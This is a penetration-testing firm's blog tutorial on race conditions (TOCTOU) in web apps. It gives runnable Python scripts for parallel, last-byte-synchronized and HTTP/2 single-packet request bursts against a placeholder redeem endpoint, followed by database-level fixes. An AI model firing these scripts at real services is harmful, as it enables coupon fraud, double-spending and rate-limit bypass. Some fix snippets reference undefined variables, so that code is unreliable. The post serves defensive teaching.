Skip to content
Fast-turnaround security assessments available — 10+ years development & security experienceGet started
vulnerabilityCWE-367OWASP A04:2021Typical severity: High

Race Conditions in Web Applications: Exploiting Time-of-Check to Time-of-Use

·10 min read

Race Conditions in Web Applications: Exploiting Time-of-Check to Time-of-Use

Every web application makes assumptions about the order in which things happen. A user submits a coupon, the server checks if it has been used, marks it as used, and applies the discount. A straightforward sequence — check, then act. But what happens when two requests execute that sequence at the same time?

Race conditions are among the most underestimated vulnerabilities in web security. They do not require injecting payloads, crafting malicious input, or exploiting memory corruption. They require only timing. And with modern HTTP capabilities, timing is something an attacker can control with surprising precision.

What Is a TOCTOU Vulnerability?

TOCTOU — Time-of-Check to Time-of-Use — describes a class of race condition where there is a gap between verifying a condition and acting on it. The application checks that a precondition is true, then proceeds to take action based on that assumption. The vulnerability exists because the precondition can change between the check and the action.

In sequential processing, this is not a problem. Request A checks, acts, and completes. Request B arrives, checks, and sees the updated state. But web servers handle requests concurrently. If requests A and B arrive at the same moment, both can execute the check before either has completed the action.

Timeline (sequential — safe):

Request A:  [CHECK: coupon valid] → [USE: mark coupon used] → [APPLY: discount]
Request B:                                                      [CHECK: coupon already used] → [REJECT]

Timeline (concurrent — vulnerable):

Request A:  [CHECK: coupon valid] ——————→ [USE: mark coupon used] → [APPLY: discount]
Request B:  [CHECK: coupon valid] ——————→ [USE: mark coupon used] → [APPLY: discount]

Both requests see the coupon as valid. Both apply the discount. The business logic assumed sequential execution, but the server delivered concurrent execution.

Where Race Conditions Appear

Race conditions manifest wherever an application separates validation from action. The following patterns appear regularly in assessments.

Coupon and Promo Code Redemption

The most common and most easily demonstrated race condition target. The application checks whether a code has been redeemed, then marks it as redeemed and applies the benefit. Two parallel requests both pass the check and both receive the discount.

This extends to referral bonuses, sign-up credits, loyalty point conversions, and any one-time-use reward mechanism.

Balance and Quantity Manipulation

Financial operations that follow a read-modify-write pattern are inherently vulnerable. The application reads the current balance, verifies it is sufficient, subtracts the amount, and writes the new balance. Two simultaneous withdrawal requests can both read the original balance, both pass the sufficiency check, and both subtract — resulting in a negative balance or double expenditure.

The same pattern applies to inventory systems, voting mechanisms, and any counter that should only decrement once per action.

Rate Limit Bypass

Rate limiting typically works by counting previous attempts before allowing a new one. If the counter is checked and incremented in separate operations, parallel requests can all pass the check before any of them increment the counter.

This is particularly impactful on authentication endpoints (brute-forcing passwords), SMS verification (draining SMS credits), and password reset flows (flooding a target's inbox).

One-Time Token Consumption

Password reset tokens, email verification links, and invitation codes are designed to be used exactly once. The application checks if the token exists and is unused, performs the action, then invalidates the token. Parallel requests can all use the token before it is invalidated.

Exploitation Techniques

Triggering a race condition requires hitting the vulnerable window — the gap between check and use. The narrower the window, the more precisely timed the requests need to be.

Parallel HTTP Requests

The simplest approach is sending multiple requests simultaneously. Most HTTP libraries and scripting environments can dispatch requests in parallel across multiple threads or connections.

python
import threading
import requests
 
url = "https://target.example/api/redeem"
headers = {"Authorization": "Bearer <token>"}
payload = {"code": "PROMO50"}
 
def send_request():
    response = requests.post(url, json=payload, headers=headers)
    print(f"Status: {response.status_code}, Body: {response.text[:100]}")
 
threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

This works when the race window is wide — when the server takes significant time between check and use, typically due to database round-trips or external API calls. But network jitter means requests arrive at slightly different times, and many will miss the window.

Last-Byte Synchronization

A more reliable technique exploits how HTTP connections work. The attacker opens multiple connections to the server and sends the complete request on each — except for the final byte. All connections are held open, request data buffered on the server side. Then, the attacker sends the final byte on all connections simultaneously.

Because the server has already received and buffered the request data, the final byte triggers immediate processing. The requests begin execution within microseconds of each other, dramatically increasing the chance of hitting even narrow race windows.

python
import socket
import ssl
import threading
import time
 
HOST = "target.example"
PORT = 443
 
request_body = '{"code": "PROMO50"}'
request = (
    f"POST /api/redeem HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    f"Content-Type: application/json\r\n"
    f"Authorization: Bearer <token>\r\n"
    f"Content-Length: {len(request_body)}\r\n"
    f"\r\n"
    f"{request_body[:-1]}"  # Everything except the last byte
)
last_byte = request_body[-1].encode()
 
connections = []
for _ in range(20):
    sock = socket.create_connection((HOST, PORT))
    context = ssl.create_default_context()
    wrapped = context.wrap_socket(sock, server_hostname=HOST)
    wrapped.send(request.encode())
    connections.append(wrapped)
 
# Small delay to ensure all connections are established
time.sleep(0.5)
 
# Release the last byte on all connections simultaneously
def release(conn):
    conn.send(last_byte)
    response = conn.recv(4096)
    print(response.decode()[:200])
 
threads = [threading.Thread(target=release, args=(c,)) for c in connections]
for t in threads:
    t.start()
for t in threads:
    t.join()

HTTP/2 Single-Packet Attack

HTTP/2 multiplexing allows sending multiple requests over a single TCP connection in a single packet. The server receives all requests at once and processes them in parallel. This eliminates network jitter entirely, as the requests are not just synchronized — they are physically bundled.

python
import httpx
 
async def race():
    async with httpx.AsyncClient(http2=True) as client:
        requests = [
            client.post(
                "https://target.example/api/redeem",
                json={"code": "PROMO50"},
                headers={"Authorization": "Bearer <token>"}
            )
            for _ in range(20)
        ]
        responses = await asyncio.gather(*requests)
        for r in responses:
            print(r.status_code, r.text[:100])

This is the most reliable technique against modern infrastructure. HTTP/2 is widely deployed, and the single-packet delivery guarantees simultaneous arrival.

Vulnerable Code Patterns

Understanding the code patterns that create race conditions makes both exploitation and remediation clearer.

The Read-Check-Write Anti-Pattern

python
# VULNERABLE: read-check-write with no locking
def redeem_coupon(user_id, coupon_code):
    coupon = db.query("SELECT * FROM coupons WHERE code = %s", coupon_code)
 
    if coupon.used:
        return {"error": "Coupon already used"}
 
    if coupon.expired_at < now():
        return {"error": "Coupon expired"}
 
    # Window of vulnerability: coupon is valid but not yet marked as used
    db.execute("UPDATE coupons SET used = TRUE, used_by = %s WHERE code = %s",
               user_id, coupon_code)
 
    apply_discount(user_id, coupon.discount_amount)
    return {"success": "Discount applied"}

Between the SELECT and the UPDATE, another request can execute the same SELECT and see the coupon as unused. Both proceed to apply the discount.

The Balance Check Anti-Pattern

python
# VULNERABLE: separate read and write for balance operations
def withdraw(user_id, amount):
    balance = db.query("SELECT balance FROM accounts WHERE user_id = %s", user_id)
 
    if balance < amount:
        return {"error": "Insufficient funds"}
 
    # Race window: balance checked but not yet updated
    new_balance = balance - amount
    db.execute("UPDATE accounts SET balance = %s WHERE user_id = %s",
               new_balance, user_id)
 
    return {"success": f"Withdrew {amount}, new balance: {new_balance}"}

Two simultaneous withdrawals of 500 from a balance of 800. Both read 800, both pass the check, both write 300. The user withdraws 1000 from an 800 balance.

Database-Level Fixes

Application-level locks (mutexes, semaphores) do not work in distributed environments where multiple application instances run behind a load balancer. The fix must be at the database level, where all instances converge.

SELECT FOR UPDATE

Row-level locking prevents concurrent reads of the same row during a transaction. The first transaction to reach the row acquires the lock; subsequent transactions block until the lock is released.

python
# SAFE: SELECT FOR UPDATE acquires a row lock
def redeem_coupon(user_id, coupon_code):
    with db.transaction():
        coupon = db.query(
            "SELECT * FROM coupons WHERE code = %s FOR UPDATE",
            coupon_code
        )
 
        if coupon.used:
            return {"error": "Coupon already used"}
 
        db.execute(
            "UPDATE coupons SET used = TRUE, used_by = %s WHERE code = %s",
            user_id, coupon_code
        )
 
        apply_discount(user_id, coupon.discount_amount)
        return {"success": "Discount applied"}

The second request blocks at the SELECT FOR UPDATE until the first transaction commits. When it resumes, it reads the updated state and sees the coupon is already used.

Atomic UPDATE with WHERE Clause

Instead of reading, checking, and writing as separate operations, combine the check and write into a single atomic statement.

python
# SAFE: atomic update — check and write in one operation
def redeem_coupon(user_id, coupon_code):
    rows_affected = db.execute(
        "UPDATE coupons SET used = TRUE, used_by = %s "
        "WHERE code = %s AND used = FALSE AND expired_at > NOW()",
        user_id, coupon_code
    )
 
    if rows_affected == 0:
        return {"error": "Coupon invalid, already used, or expired"}
 
    apply_discount(user_id, coupon.discount_amount)
    return {"success": "Discount applied"}

The database engine guarantees atomicity of a single UPDATE statement. Only one of the concurrent requests will match the WHERE clause and update the row; the others will affect zero rows.

Atomic Balance Operations

python
# SAFE: atomic decrement with balance check in WHERE clause
def withdraw(user_id, amount):
    rows_affected = db.execute(
        "UPDATE accounts SET balance = balance - %s "
        "WHERE user_id = %s AND balance >= %s",
        amount, user_id, amount
    )
 
    if rows_affected == 0:
        return {"error": "Insufficient funds"}
 
    return {"success": f"Withdrew {amount}"}

The balance check and the decrement happen in the same atomic operation. The database ensures that only one transaction can modify the row at a time, and the WHERE clause prevents the balance from going negative.

Unique Constraints

For operations that should happen exactly once — token redemption, one-per-user actions — a unique database constraint provides a hard guarantee.

sql
CREATE UNIQUE INDEX idx_redemptions_unique
ON redemptions (user_id, coupon_code);
python
# SAFE: unique constraint prevents duplicate redemptions
def redeem_coupon(user_id, coupon_code):
    try:
        db.execute(
            "INSERT INTO redemptions (user_id, coupon_code, redeemed_at) "
            "VALUES (%s, %s, NOW())",
            user_id, coupon_code
        )
    except UniqueViolation:
        return {"error": "Coupon already redeemed"}
 
    apply_discount(user_id, coupon.discount_amount)
    return {"success": "Discount applied"}

Even if twenty requests arrive simultaneously, the database will accept the first INSERT and reject the rest with a constraint violation.

Testing for Race Conditions

When assessing an application for race conditions, focus on:

  1. Any one-time-use mechanism — coupons, tokens, verification links, invitation codes
  2. Financial operations — transfers, withdrawals, purchases, point conversions
  3. Rate-limited actions — login attempts, OTP requests, password resets
  4. Resource claims — limited inventory, first-come allocations, unique username registration

For each target, send 20-50 parallel requests using one of the synchronization techniques described above. Compare the results: if multiple requests succeed where only one should, you have confirmed the race condition.

Vary the number of parallel requests and the synchronization method. Some race windows are wide enough that basic threading works; others require last-byte sync or HTTP/2 single-packet delivery. Test with both identical requests and requests with minimal variation to account for any deduplication logic.

Key Takeaways

Race conditions are not exotic. They appear wherever application logic separates validation from action — which is the default pattern in most web frameworks. The vulnerability is architectural, not a coding mistake. It exists because the code was written for sequential execution and deployed in a concurrent environment.

The exploitation is mechanical: send parallel requests, observe whether the constraint was bypassed. The synchronization techniques — last-byte sync, HTTP/2 multiplexing — make this reliable even against narrow windows.

The defenses are equally mechanical: move the constraint enforcement into the database layer where atomicity is guaranteed. SELECT FOR UPDATE, atomic UPDATE with WHERE clauses, and unique constraints eliminate the TOCTOU gap entirely. Application-level checks remain valuable for user experience — returning meaningful error messages — but they must not be the only line of defense.

Need your application tested for race conditions? Get in touch.

Need your application tested?

We find these vulnerabilities in real applications every day. Get a comprehensive security assessment with detailed remediation.

Request an Assessment

Summary

Race conditions exploit the gap between when an application checks a constraint and when it enforces it. By sending parallel requests that arrive within this window, attackers can bypass rate limits, redeem coupons multiple times, and manipulate account balances — all without touching the application's logic directly.

Key Takeaways

  • 1Race conditions exploit the time gap between checking a constraint and enforcing it, allowing attackers to bypass business logic
  • 2Sending parallel HTTP requests with techniques like last-byte synchronization can reliably trigger race windows as narrow as a few milliseconds
  • 3Common targets include coupon redemption, account balance operations, rate-limited actions, and one-time-use tokens
  • 4Application-level locks and validation checks are insufficient — the fix must happen at the database layer using atomic operations or row-level locking
  • 5SELECT FOR UPDATE, unique constraints, and atomic UPDATE with WHERE clauses are the primary database-level defenses against TOCTOU vulnerabilities

Frequently Asked Questions

TOCTOU (Time-of-Check to Time-of-Use) is a race condition where an application checks a constraint — such as whether a coupon has been used or whether an account has sufficient balance — and then performs the action in a separate step. If two requests arrive simultaneously, both can pass the check before either completes the action, bypassing the constraint entirely.

Attackers send multiple identical HTTP requests in parallel, timed to arrive at the server within the same processing window. Techniques like last-byte synchronization — where all requests are sent except for the final byte, then all final bytes are released simultaneously — can compress the arrival window to under a millisecond, reliably triggering the race.

Race conditions commonly enable coupon or promo code reuse, double-spending of account balances, bypassing rate limits on sensitive operations like password resets or SMS verification, claiming limited resources multiple times, and escalating privileges through simultaneous role-change requests.

Prevention requires database-level enforcement: use SELECT FOR UPDATE for row-level locking during read-modify-write sequences, atomic UPDATE statements with WHERE clauses that include the constraint check, unique constraints to prevent duplicate entries, and database transactions with appropriate isolation levels. Application-level checks alone are always vulnerable.